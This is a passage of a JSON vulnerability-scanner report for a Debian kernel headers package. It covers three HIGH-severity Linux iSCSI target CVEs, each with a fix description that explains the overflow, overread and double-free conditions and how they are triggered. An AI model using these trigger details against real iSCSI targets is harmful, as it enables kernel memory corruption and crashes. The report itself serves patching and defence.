"sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63886", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:260bc81f62ed6390b3d44cb04f5dfec52911098bdd9a94f41d2d4b7379024c4a", "Title": "kernel: scsi: target: iscsi: Validate CHAP_R length before base64 decode", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Validate CHAP_R length before base64 decode\n\nchap_server_compute_hash() allocates client_digest as\nkzalloc(chap-\u003edigest_size) and then, for BASE64-encoded responses,\npasses chap_r directly to chap_base64_decode() without checking whether\nthe input length could produce more than digest_size bytes of output.\n\nchap_base64_decode() writes to the destination unconditionally as long\nas there is input to consume. With MAX_RESPONSE_LENGTH set to 128 and\nthe \"0b\" prefix stripped by extract_param(), up to 127 base64 characters\ncan reach the decoder. 127 characters decode to 95 bytes. For SHA-256\n(digest_size=32) this overflows client_digest by 63 bytes; for MD5\n(digest_size=16) the overflow is 79 bytes.\n\nThe length check at line 344 fires after the write has already happened.\n\nThe HEX branch in the same switch statement already validates the length\nup front. Apply the same approach to the BASE64 branch: strip trailing\nbase64 padding characters, then reject any input whose data length\nexceeds DIV_ROUND_UP(digest_size * 4, 3) before calling the decoder.\n\nStripping trailing '=' before the comparison handles both padded and\nunpadded encodings. chap_base64_decode() already returns early on '=',\nso the full original string is still passed to the decoder unchanged.\n\nThe mutual CHAP path decodes CHAP_C into initiatorchg_binhex, which is\nkzalloc(CHAP_CHALLENGE_STR_LEN). extract_param() caps initiatorchg at\nCHAP_CHALLENGE_STR_LEN characters, so at most CHAP_CHALLENGE_STR_LEN-1\nbase64 characters reach the decoder. The maximum decoded size,\nDIV_ROUND_UP((CHAP_CHALLENGE_STR_LEN-1) * 3, 4), is less than\nCHAP_CHALLENGE_STR_LEN, so no overflow is possible there. A comment is\nadded at the call site to document this.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63886", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/85db7391310b1304d2dc8ae3b0b12105a9567147%20%287.1-rc6%29", "https://git.kernel.org/stable/c/4a3a19c98a8207ad08bec554703d90f2c34a8cc6", "https://git.kernel.org/stable/c/82454e6f21e56ea9a0a9de7d0ff7e1dfb83e34d6", "https://git.kernel.org/stable/c/85db7391310b1304d2dc8ae3b0b12105a9567147", "https://git.kernel.org/stable/c/bf154c657828ed05399bca5d98cf1611bb048b12", "https://git.kernel.org/stable/c/c04e85799356120209b351a148ac2db888d5ffd9", "https://git.kernel.org/stable/c/edd06675a02376ea8347dba7c29ad982ba5b36ee", "https://linux.oracle.com/cve/CVE-2026-63886.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63886-48e4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63886", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63886" ], "PublishedDate": "2026-07-19T16:17:05.723Z", "LastModifiedDate": "2026-10-22T14:29:02.84Z" }, { "VulnerabilityID": "CVE-2026-63887", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63887", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b8fa48966c90e750c46ab17ee6f738851ca97f9a347eb8ce958890cc63eb09f4", "Title": "kernel: scsi: target: iscsi: Bound iscsi_encode_text_output() appends to rsp_buf", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Bound iscsi_encode_text_output() appends to rsp_buf\n\niscsi_encode_text_output() concatenates \"key=value\\0\" records into\nlogin-\u003ersp_buf, an 8192-byte kzalloc(MAX_KEY_VALUE_PAIRS) buffer\nallocated in iscsit_alloc_login_setup_buffer(). The three sprintf() call\nsites in this function (lines 1398, 1411, 1424 in v7.1-rc2) never check\nthe remaining buffer capacity:\n\n\t*length += sprintf(output_buf, \"%s=%s\", er-\u003ekey, er-\u003evalue);\n\t*length += 1;\n\toutput_buf = textbuf + *length;\n\nThe 8192-byte ceiling at iscsi_target_check_login_request() bounds the\n*input* Login PDU payload, but a single PDU can carry up to 2048 minimal\nfour-byte \"a=b\\0\" pairs, each unknown key expanding to a 16-byte\n\"a=NotUnderstood\\0\" output record via iscsi_add_notunderstood_response().\n2048 * 16 = 32 KiB of output into an 8 KiB buffer, producing a ~24 KiB\nheap overrun in the kmalloc-8k slab.\n\nThe fix introduces a static iscsi_encode_text_record() helper that uses\nsnprintf() with a per-call bounds check against the remaining buffer,\nand threads a u32 textbuf_size parameter through\niscsi_encode_text_output(). Both call sites in\niscsi_target_handle_csg_zero() (PHASE_SECURITY) and\niscsi_target_handle_csg_one() (PHASE_OPERATIONAL) pass\nMAX_KEY_VALUE_PAIRS. On overflow the encoder logs the condition, calls\niscsi_release_extra_responses() to drop queued records, and returns -1;\nboth caller sites now emit ISCSI_STATUS_CLS_INITIATOR_ERR /\nISCSI_LOGIN_STATUS_INIT_ERR via iscsit_tx_login_rsp() before returning,\nso the initiator sees an explicit failed-login response rather than a\nsilent connection drop. (Prior to this patch only the PHASE_OPERATIONAL\ncaller did that; the PHASE_SECURITY caller is converted to the same\nshape.)", "Severity": "HIGH", "CweIDs": [ "CWE-120", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63887", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/bf33e01f88388c43e285492a63e539df6ffed64c%20%287.1-rc6%29", "https://git.kernel.org/stable/c/26e4a304b7e6f1338c675d527608d32549c091db", "https://git.kernel.org/stable/c/30bf335e8fe170322080ee001f05ca29c50680b3", "https://git.kernel.org/stable/c/4e9f0c4a645c995bc75c06c7b3644254ffb4c76b", "https://git.kernel.org/stable/c/594a40360012ce5f94c715d5e3b20fa3af7d525a", "https://git.kernel.org/stable/c/b19382dfc6e7dee6d3859ba44b6ca29e97a51627", "https://git.kernel.org/stable/c/bf33e01f88388c43e285492a63e539df6ffed64c", "https://git.kernel.org/stable/c/cb84e974fb172bc71386289f37b78ea679410b39", "https://git.kernel.org/stable/c/efe633e600a0ac68357206fede21b1ac8178f3b8", "https://linux.oracle.com/cve/CVE-2026-63887.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63887-cf4b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63887", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63887" ], "PublishedDate": "2026-07-19T16:17:05.853Z", "LastModifiedDate": "2026-10-22T14:33:17.54Z" }, { "VulnerabilityID": "CVE-2026-63888", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63888", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c16c263c655c049c5130475e240e8b9ab15bb711eeddcdf821ed50f3dd2249d3", "Title": "kernel: scsi: target: iscsi: Fix CRC overread and double-free in iscsit_handle_text_cmd()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Fix CRC overread and double-free in iscsit_handle_text_cmd()\n\nTwo latent bugs in the Text-phase handler, both present since the\noriginal LIO integration in commit e48354ce078c (\"iscsi-target: Add\niSCSI fabric support for target v4.1\"):\n\n1) DataDigest CRC buffer overread (4 bytes past text_in).\n\n text_in is kzalloc()'d at ALIGN(payload_length, 4). rx_size is then\n incremented by ISCSI_CRC_LEN to make room for the received DataDigest\n in the iovec, but the same (now-bumped) rx_size is passed as the\n buffer length to iscsit_crc_buf():\n\n if (conn-\u003econn_ops-\u003eDataDigest) {\n ...\n rx_size += ISCSI_CRC_LEN;\n }\n ...\n if (conn-\u003econn_ops-\u003eDataDigest) {\n data_crc = iscsit_crc_buf(text_in, rx_size, 0, NULL);\n\n iscsit_crc_buf() walks rx_size bytes of text_in with crc32c(), so\n when DataDigest is negotiated it reads 4 bytes past the end of the\n text_in allocation. KASAN reproduces this directly on the unpatched\n mainline tree as slab-out-of-bounds in crc32c() called from the Text\n PDU path. The OOB bytes feed crc32c() and are then compared against\n the initiator-supplied checksum, so the value does not flow back to\n the attacker, but the kernel does read past the buffer on every Text\n PDU with DataDigest=CRC32C.\n\n Fix by passing the actual padded payload length\n (ALIGN(payload_length, 4)) that was used for the kzalloc().\n\n2) Stale cmd-\u003etext_in_ptr re-free (double-free) on ERL\u003e0 bad DataDigest\n drop.\n\n On DataDigest mismatch with ErrorRecoveryLevel \u003e 0 the handler\n silently drops the PDU and lets the initiator plug the CmdSN gap:\n\n kfree(text_in);\n return 0;\n\n cmd-\u003etext_in_ptr still points at the freed buffer. The next Text\n Request on the same ITT re-enters iscsit_setup_text_cmd(), which\n unconditionally does\n\n kfree(cmd-\u003etext_in_ptr);\n cmd-\u003etext_in_ptr = NULL;\n\n freeing the same pointer a second time. Session teardown via\n iscsit_release_cmd() has the same shape and hits the same double-free\n if the connection is dropped before a second Text Request arrives.\n\n On an unmodified mainline tree the bug-1 CRC overread fires first on\n the initial valid Text Request and perturbs the subsequent state, so\n #4 was isolated by building a kernel with only the bug-1 hunk of this\n patch applied plus temporary printk() observability around the three\n relevant kfree() sites. The observability prints are not part of\n this patch. On that build, a three-PDU Text Request sequence after\n login produces two back-to-back splats:\n\n BUG: KASAN: double-free in iscsit_setup_text_cmd+0x??\n BUG: KASAN: double-free in iscsit_release_cmd+0x??\n\n showing the same pointer freed in the ERL\u003e0 drop path and again in\n iscsit_setup_text_cmd() (next Text Request on the same ITT) and once\n more in iscsit_release_cmd() (session teardown). On distro kernels\n with CONFIG_SLAB_FREELIST_HARDENED=y (default) the double-free\n becomes a remote kernel BUG(); on non-hardened kernels it corrupts\n the slab freelist.\n\n Fix by clearing cmd-\u003etext_in_ptr after the kfree() in the ERL\u003e0 drop\n path. With both hunks applied #4 is directly observable on the stock\n tree without observability printks; fixing bug-1 alone would mask #4\n less, not more, so the hunks are submitted together.\n\nBoth fixes are one-liners. The Text PDU state machine is unchanged and\nthe wire protocol is unaffected.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63888", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/778c2ab142c625a8a8afa570e0f9b7873f445d99%20%287.1-rc6%29", "https://git.kernel.org/stable/c/5118ea225fe63b44207ba88047e4866e1ea43812", "https://git.kernel.org/stable/c/6e22a1cdcc8277af4acc43710577157b77a02c5d", "https://git.kernel.org/stable/c/778c2ab142c625a8a8afa570e0f9b7873f445d99", "https://git.kernel.org/stable/c/89c81d1228c00fa6dd91de6c1c5aa1ef8a7875e3", "https://git.kernel.org/stable/c/badf178b76b0690851df00f4ca9cf2eb8eb0f963", "https://git.kernel.org/stable/c/d3e9b79aa794f7a23e82de4d710e7d2df610e349", "https://git.kernel.org/stable/c/ec9f19d52074a191ed1756ed4a7d39fff1a2085c", "https://git.kernel.org/stable/c/f7948af0dd03de84079dcd4dc215a69fd6fbb95d", "https://linux.oracle.com/cve/CVE-2026-63888.html", "https://linux.oracle.com/errata/ELSA-2026-57253.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63888-a5d6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63888", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", 